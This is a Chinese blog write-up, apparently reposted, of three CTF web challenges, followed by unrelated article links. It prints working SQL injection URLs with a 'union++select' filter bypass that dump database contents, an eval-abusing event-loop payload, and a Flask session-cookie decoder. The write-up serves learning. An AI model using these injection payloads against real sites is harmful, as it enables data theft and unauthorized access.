攻防世界web2、ddctf_2019_homebrew_event_loop、 [网鼎杯 2018]Fakebook

news/2024/4/29 15:35:26/文章来源:https://blog.csdn.net/weixin_52268949/article/details/130021711
web2

进入环境得到源码

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";function encode($str){$_o=strrev($str);// echo $_o;for($_0=0;$_0<strlen($_o);$_0++){$_c=substr($_o,$_0,1);$__=ord($_c)+1;$_c=chr($__);$_=$_.$_c;   } return str_rot13(strrev(base64_encode($_)));
}highlight_file(__FILE__);
/*逆向加密算法,解密$miwen就是flag
*/
?>
补充知识点
strrev#反转字符串
substr#返回字符串的子串
ord#返回一个字母的ASCII码值
chr#从指定的ascii码值返回字符
str_rot13()#一种编码解码函数

我们写程序将这个算法逆向推出

<?php$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";$miwen=base64_decode(strrev(str_rot13($miwen)));$m=$miwen;for($i=0;$i<strlen($m);$i++){$_c=substr($m,$i,1);$__=ord($_c)-1;$_c=chr($__);$_=$_.$_c;}echo strrev($_);
?>

在这里插入图片描述

获得flag

[网鼎杯 2018]Fakebook

在这里插入图片描述

进入环境一个登录界面尝试使用万能密码直接登录,不行还是去注册一个账号再说

在这里插入图片描述

点击用户名进去发现一个疑似注入点的地方

在这里插入图片描述

我们尝试3-2得到回显几乎确定为数字型sql注入

在这里插入图片描述

order by4可以by5发现不行说明有四列

尝试联合注入失败过滤了东西

在这里插入图片描述

经过手测发现应该是过滤了union select 而且不区分大小写,我们试试用union++select绕过

在这里插入图片描述

成功我们尝试爆出数据库

view.php?no=-1%20union++select%201,group_concat(schema_name),3,4%20from%20information_schema.schemata#

在这里插入图片描述

估计有价值的东西就在fakebook这个数据库中我们继续深入查表

view.php?no=-1%20union++select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=%27fakebook%27#

在这里插入图片描述

接下来我们继续查字段

view.php?no=-1%20union++select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%27users%27#

在这里插入图片描述

查字段值

view.php?no=-1%20union++select%201,group_concat(data),3,4%20from%20fakebook.users#

在这里插入图片描述

发现查出来的内容为反序列化的内容

这就有点烦了,我到这里暂时没有思路,只能尝试去扫一下目录

在这里插入图片描述

发现flag.php我尝试一下能不能使用load_file将他读出来

在这里插入图片描述

在这里插入图片描述

ddctf_2019_homebrew_event_loop

在这里插入图片描述

进入环境每个页面浏览一下

最上面说我有多少个钻石,多少积分

点击Go-to e-shop,就可以使用一个积分买一个钻石,原来做的这种类型的题目都是抓包修改余额但这题有点不一样

在这里插入图片描述

最上面有个view source code估计是源码我们去看看

from flask import Flask, session, request, Response
import urllibapp = Flask(__name__)
app.secret_key = '*********************'  # censored
url_prefix = '/d5afe1f66147e857'def FLAG():return '*********************'  # censoreddef trigger_event(event):session['log'].append(event)if len(session['log']) > 5:session['log'] = session['log'][-5:]if type(event) == type([]):request.event_queue += eventelse:request.event_queue.append(event)def get_mid_str(haystack, prefix, postfix=None):haystack = haystack[haystack.find(prefix)+len(prefix):]if postfix is not None:haystack = haystack[:haystack.find(postfix)]return haystackclass RollBackException:passdef execute_event_loop():valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')resp = Nonewhile len(request.event_queue) > 0:# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"event = request.event_queue[0]request.event_queue = request.event_queue[1:]if not event.startswith(('action:', 'func:')):continuefor c in event:if c not in valid_event_chars:breakelse:is_action = event[0] == 'a'action = get_mid_str(event, ':', ';')args = get_mid_str(event, action+';').split('#')try:event_handler = eval(action + ('_handler' if is_action else '_function'))ret_val = event_handler(args)except RollBackException:if resp is None:resp = ''resp += 'ERROR! All transactions have been cancelled. <br />'resp += '<a href="./?action:view;index">Go back to index.html</a><br />'session['num_items'] = request.prev_session['num_items']session['points'] = request.prev_session['points']breakexcept Exception, e:if resp is None:resp = ''# resp += str(e) # only for debuggingcontinueif ret_val is not None:if resp is None:resp = ret_valelse:resp += ret_valif resp is None or resp == '':resp = ('404 NOT FOUND', 404)session.modified = Truereturn resp@app.route(url_prefix+'/')
def entry_point():querystring = urllib.unquote(request.query_string)request.event_queue = []if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:querystring = 'action:index;False#False'if 'num_items' not in session:session['num_items'] = 0session['points'] = 3session['log'] = []request.prev_session = dict(session)trigger_event(querystring)return execute_event_loop()# handlers/functions below --------------------------------------def view_handler(args):page = args[0]html = ''html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])if page == 'index':html += '<a href="./?action:index;True%23False">View source code</a><br />'html += '<a href="./?action:view;shop">Go to e-shop</a><br />'html += '<a href="./?action:view;reset">Reset</a><br />'elif page == 'shop':html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'elif page == 'reset':del session['num_items']html += 'Session reset.<br />'html += '<a href="./?action:view;index">Go back to index.html</a><br />'return htmldef index_handler(args):bool_show_source = str(args[0])bool_download_source = str(args[1])if bool_show_source == 'True':source = open('eventLoop.py', 'r')html = ''if bool_download_source != 'True':html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'html += '<a href="./?action:view;index">Go back to index.html</a><br />'for line in source:if bool_download_source != 'True':html += line.replace('&', '&amp;').replace('\t', '&nbsp;'*4).replace(' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('\n', '<br />')else:html += linesource.close()if bool_download_source == 'True':headers = {}headers['Content-Type'] = 'text/plain'headers['Content-Disposition'] = 'attachment; filename=serve.py'return Response(html, headers=headers)else:return htmlelse:trigger_event('action:view;index')def buy_handler(args):num_items = int(args[0])if num_items <= 0:return 'invalid number({}) of diamonds to buy<br />'.format(args[0])session['num_items'] += num_itemstrigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])def consume_point_function(args):point_to_consume = int(args[0])if session['points'] < point_to_consume:raise RollBackException()session['points'] -= point_to_consumedef show_flag_function(args):flag = args[0]# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.return 'You naughty boy! ;) <br />'def get_flag_handler(args):if session['num_items'] >= 5:# show_flag_function has been disabled, no worriestrigger_event('func:show_flag;' + FLAG())trigger_event('action:view;index')if __name__ == '__main__':app.run(debug=False, host='0.0.0.0')

这里execute_event_loop起到路由功能。对URL中参数进行分割等。然后执行对应的函数。

我们再去看一下获得flag的位置

def get_flag_handler(args):if session['num_items'] >= 5:# show_flag_function has been disabled, no worriestrigger_event('func:show_flag;' + FLAG())trigger_event('action:view;index')

如果session[‘num_items’]>=5那么就执行trigger_event,我们再去看一下trigger_event是干什么的

def trigger_event(event):session['log'].append(event)#trigger_event('func:show_flag;'+FLAG())#func:show_flag;flag{********}#将返回结果写入session中,flask采用的是jwt所以可以解密if len(session['log']) > 5:session['log'] = session['log'][-5:]if type(event) == type([]):request.event_queue += eventelse:request.event_queue.append(event)

将要执行的函数和参数放入request队列中。然后依次执行

也就是说。我们要满足session[num_items]=5。继续看num_items在哪里可以加

def buy_handler(args):num_items = int(args[0])if num_items <= 0:return 'invalid number({}) of diamonds to buy<br />'.format(args[0])session['num_items'] += num_itemstrigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])

以buy_handler(1)这样购买。然后num_item就会+1,会把func:consume_point;num_items传入队列执行执行的是consume_point_function(num_items)

def consume_point_function(args):point_to_consume = int(args[0])if session['points'] < point_to_consume:raise RollBackException()session['points'] -= point_to_consume

作用是判断session中的points是否小于我们想要购买的数量。如果小于。那么就再减掉
就是。我们购买5个flag。但是。只有3个金币。它会先购买5个。然后判断钱是不是够。不够就再减去
OK。现在大致思路就搞懂了。execute_event_loop函数。接收输入。决定执行什么函数。
执行函数时。会把函数加入队列。然后再从队列中取出按顺序执行
如果我们直接调用buy_flag(5)。先将buy_flag(5)执行。然后再执行判断。如果钱不够就会减掉。

我们再来仔细看看execute_event_loop函数处理路由的过程

action(函数名)是第一个冒号后面的值。然后截取出来的字符串。再截取分号前面的值

参数是取函数名+分号后面的值。用#来分割。作为参数,思路如下,我们重复写就能构造一个参数。然后带入eval执行

构造payload

?action:trigger_event%23;action:buy;2%23action:buy;3%23action:get_flag;%23

在这里插入图片描述

应该flag已经写入session了我们抓个包然后解密即可

解密脚本

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decodedef decryption(payload):payload, sig = payload.rsplit(b'.', 1)payload, timestamp = payload.rsplit(b'.', 1)decompress = Falseif payload.startswith(b'.'):payload = payload[1:]decompress = Truetry:payload = base64_decode(payload)except Exception as e:raise Exception('Could not base64 decode the payload because of ''an exception')if decompress:try:payload = zlib.decompress(payload)except Exception as e:raise Exception('Could not zlib decompress the payload before ''decoding the payload')return session_json_serializer.loads(payload)if __name__ == '__main__':print(decryption(sys.argv[1].encode()))

解密下面这串字符

在这里插入图片描述

即可获得flag

python3 jiemi.py ".eJyNjU8LgjAchr9K_M4e5kREwUtQVjQlqDYXEZr9d0tYpi387nmJCDx4e-F5eN435PcTeJvNGwYpeBDTECXULSMxMw9L9YLG6Ca6i2R5NnZFGoxlVPn-z4Bma3wfuFyXsS6uKbZ1Rs2cWcNnQm0U6anf0ZS84GzvtMaNs5Pfr0R6lv5DOglci2GuYrp3uKjP3FI6uy5qpkNMsI2YHlVkMjzGK_vWemSxDucMk2qJVc0Z6nkKshS7y-MgFHjIgOJ-kY92Ws0H4UZ8Qw.YdZ5DQ.SWVYOdGtO4vqrWSe4v7GytXqMDU"

运行脚本获得flag,这题大概懂了但有些细节还是有点不明白后续再看看

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_283228.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL之事务和锁机制

文章目录一、事务1.1 事务特征1.2 隔离级别1.3 开启事务二、锁机制2.1 读锁、写锁2.2 全局锁、表锁、行锁2.3 记录锁、间隙锁、临键锁提示&#xff1a;以下是本篇文章正文内容&#xff0c;MySQL 系列学习将会持续更新 一、事务 在数据库里面&#xff0c;我们希望有些操作能够以…

CSS模块的书写以及删除线的作用和来历什么是删除线

<!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>Title</title><style>/*关羽这一行代码变为绿色*/#gy_li{color: green}/*张飞,苹果这一行代码变为黄色*/#zf_li,#pg_ul{color: yellow}/*i…

华为OD机试题 Q2 押题【贪心的商人 or 最大利润】用 C++ 编码,速通

最近更新的博客 华为od 2023 | 什么是华为od,od 薪资待遇,od机试题清单华为OD机试真题大全,用 Python 解华为机试题 | 机试宝典【华为OD机试】全流程解析+经验分享,题型分享,防作弊指南华为od机试,独家整理 已参加机试人员的实战技巧本篇题解:贪心的商人 or 最大利润 题目…

GEE:数据结构——Object 对象(创建、访问、修改、删除、遍历)

在Google Earth Engine (GEE) 平台中&#xff0c;“Object” 是指一种数据结构&#xff0c;它是由一组属性&#xff08;键-值对&#xff09;&#xff08;key-value&#xff09;组成的&#xff0c;可以是数字、字符串、布尔值、数组或其他对象。 在 GEE 中&#xff0c;许多数据…

实战:向人工智能看齐用Docker部署一个ChatGPT

文章目录前言鉴赏chatgpt环境要求开始搭建云安装docker从docker仓库拉取chatgpt-web镜像创建容器并运行chatgpt-web创建容器启动chatgpt-web访问自己的chatgpt总结前言 目前GPT-4都官宣步入多模态大型语言模型领域了&#xff0c;大佬竟然还没有体验GPT么。作为一个资深搬砖人士…

【C++修行之路】面向对象三大特性之多态

文章目录前言认识多态构成多态的必要条件虚函数的重写虚函数重写的两个例外final和override重载、覆盖、隐藏抽象类多态的原理单继承多继承重写了基类的虚函数没有重写基类的虚函数菱形继承和菱形虚拟继承的虚表补充补充继承与多态相关问题inline函数可以是虚函数吗&#xff1f…

2.半导体二极管

1.半导体二极管二极管的组成二极管和PN结伏安特性的区别二极管的伏安特性及电流方程为什么反向饱和电流越小&#xff0c;单向导电性能越强。二极管的等效电路二极管的主要参数稳压二极管&#xff08;又称齐纳二极管或反向击穿二极管&#xff09;稳压二极管与普通二极管的区别其…

深入理解MCU启动原理

前面写了一篇 STM32的完整启动流程分析&#xff0c;但是感觉有些地方没有完全理明白&#xff0c;因此对不清楚的地方又做了一些总结。 1. MCU最开始一启动后去哪里读代码&#xff1f; CPU上电启动后被设计为去地址0x00000000位置处读取代码&#xff1b;首先会连续读取两个字&…

Linux ELK日志分析系统 | logstash日志收集 | elasticsearch 搜索引擎 | kibana 可视化平台 | 架构搭建 | 超详细

Linux ELK日志分析系统 | logstash日志收集 | elasticsearch 搜索引擎 | kibana 可视化平台 | 架构搭建 | 超详细ELK 日志分析系统1.日志服务器2.ELK 日志分析系统3 日志处理步骤一、 Elasticsearch 介绍1.1概述1.2核心概念二、Kibana 介绍三 ELK架构搭建3.1 配置要求3.2 安装 …

Java中Stream的应用

Stream简介 Java 8 版本新增的Stream&#xff0c;配合同版本出现的Lambda &#xff0c;给我们操作集合&#xff08;Collection&#xff09;提供了极大的便利。 Stream可以由数组或集合创建&#xff0c;对流的操作分为两种&#xff1a; 中间操作&#xff1a;每次返回一个新的…

DALL·E:OpenAI第一代文本生成图片模型

1 简介 本文根据openAI 2021年2月的《Zero-Shot Text-to-Image Generation》翻译总结的。原文详见https://arxiv.org/pdf/2102.12092v1.pdf。 DALLE : 论文中没看到这个名字&#xff0c;可能是后起的吧。 DALLE有120亿参数&#xff0c;基于自回归transformer&#xff0c;在2…

Spring 01 -项目管理框架Spring入门

本部分理解原理就好 Spring入门1 Spring引入1.1 原生web开发中存在的问题2 Spring2.1 Spring的概念2.2 Spring 作用2.3 Spring的组成2.4 spring的IOC底层实现原理3 Spring快速入门3.1 引入spring依赖3.2 spring的配置文件3.3 测试四、Spring的开发细节4.1 BeanFactory的类间关系…

android的system_server进程的启动

android的system_server进程的启动 android的system_server进程的启动的简单介绍 system_server是Zygote的fork的第一个Java进程相当于它的大儿子&#xff0c;这个进程非常重要的&#xff0c;这里这个进程提供了很多系统线程&#xff0c;提供了所有的核心的系统服务。比如&am…

mysql与redis区别

一、.redis和mysql的区别总结 &#xff08;1&#xff09;类型上 从类型上来说&#xff0c;mysql是关系型数据库&#xff0c;redis是缓存数据库 &#xff08;2&#xff09;作用上 mysql用于持久化的存储数据到硬盘&#xff0c;功能强大&#xff0c;但是速度较慢 redis用于存储使…

SQL基础查选和条件查选

写完毕业论文&#xff0c;终于有空复习sql了&#xff0c;继续学习之旅~下次不能和上次一样&#xff0c;简单的sql语句都忘记了。 1.查询结果去重 关键字 distinct select distinct university from user_profile; 2. 将查询后的列重新命名 关键字 as 关键字limit…

Linux kernel 编译 exfat.ko ntfs.ko 来支持exFat 和 NTFS 分区

项目需求想让设备支持 exFat 和 NTFS 的文件格式. 默认的内核是不支持的,因为内核要限定1.5M之内, 所以很多东西都裁剪掉了. 而且不是所有项目都有这个需求,所以就需要编译为 ko ,按需加载; 而不是才去built-in的方式. 在如下的选项找到对应的配置. 至于如何找到, 我推荐2种方式…

LE AUDIO快速了解

有BIS和CIS两种 BIS是广播的&#xff0c;不需要连接&#xff0c;只需要监听 CIS要建立连接的&#xff0c;除了ACL链路&#xff0c;还需要建立CIS链路 BIS部分 也没啥要看的&#xff0c;只需要记住3个指令就可以了 主要是HCI的3个指令 2068 206b 206e 这3个指令即可 206…

Nacos安全性探究

Nacos怎么做安全校验的&#xff1f; 以下使用nacos2.x 如上图所示&#xff0c; 可以直接访问Nacos的接口来获取用户列表。这说明Nacos的接口被爆露&#xff0c;任何情况下都可以访问&#xff0c;因此安全性得不到保障。 Nacos 使用 spring security 作为安全框架。spring sec…

Baumer工业相机堡盟工业相机如何通过BGAPI SDK获取每张图像的微秒时间和FrameID(C#)

BGAPI SDK获取图像微秒级时间和FrameID Baumer工业相机Baumer工业相机FrameID技术背景一、FrameID是什么&#xff1f;二、使用BGAPI SDK获取图像微秒时间和FrameID步骤 1.获取SDK图像微秒级时间2.获取SDK图像FrameIDBaumer工业相机使用微秒级时间和FrameID保存的用处Baumer工业…

混淆矩阵Confusion Matrix(resnet34 基于 CIFAR10)

目录 1. Confusion Matrix 2. 其他的性能指标 3. example 4. 代码实现混淆矩阵 5. 测试&#xff0c;计算混淆矩阵 6. show 7. 代码 1. Confusion Matrix 混淆矩阵可以将真实标签和预测标签的结果以矩阵的形式表示出来&#xff0c;相比于之前计算的正确率acc更加的直观…